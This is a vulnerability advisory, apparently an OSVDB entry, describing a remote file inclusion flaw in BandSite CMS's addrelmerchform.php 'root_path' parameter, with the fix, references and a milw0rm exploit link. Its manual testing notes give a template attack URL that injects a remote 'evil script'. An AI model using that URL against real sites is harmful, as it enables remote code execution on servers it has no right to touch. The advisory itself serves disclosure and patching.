BandSite CMS addrelmerchform.php root_path Variable Remote File Inclusion

2006-06-20T10:33:53
ID OSVDB:27247
Type osvdb
Reporter Kw3rLn(kw3rln@hotmail.com)
Modified 2006-06-20T10:33:53

Description

Vulnerability Description

BandSite CMS contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the adminpanel/includes/add_forms/addrelmerchform.php script not properly sanitizing user input supplied to the 'root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Technical Description

This vulnerability is only present when the allow_fopenurl PHP option is 'on' and the register_globals PHP option is 'on' (This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002)).

Solution Description

Upgrade to version 1.1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Short Description

BandSite CMS contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the adminpanel/includes/add_forms/addrelmerchform.php script not properly sanitizing user input supplied to the 'root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[attacker]/[path]/adminpanel/includes/add_forms/addrelmerchform.php?root_path=[evil script]

References:

Vendor URL: http://sourceforge.net/projects/bandsitecms/ Vendor Specific News/Changelog Entry: http://sourceforge.net/project/shownotes.php?release_id=428062 Secunia Advisory ID:20768 Related OSVDB ID: 27237 Related OSVDB ID: 27242 Related OSVDB ID: 27244 Related OSVDB ID: 27251 Related OSVDB ID: 27238 Related OSVDB ID: 27239 Related OSVDB ID: 27241 Related OSVDB ID: 27245 Related OSVDB ID: 27252 Related OSVDB ID: 27233 Related OSVDB ID: 27235 Related OSVDB ID: 27240 Related OSVDB ID: 27243 Related OSVDB ID: 27246 Related OSVDB ID: 27248 Related OSVDB ID: 27250 Related OSVDB ID: 27234 Related OSVDB ID: 27236 Related OSVDB ID: 27249 Generic Exploit URL: http://milw0rm.com/exploits/1933 FrSIRT Advisory: ADV-2006-2462 CVE-2006-3193 Bugtraq ID: 18555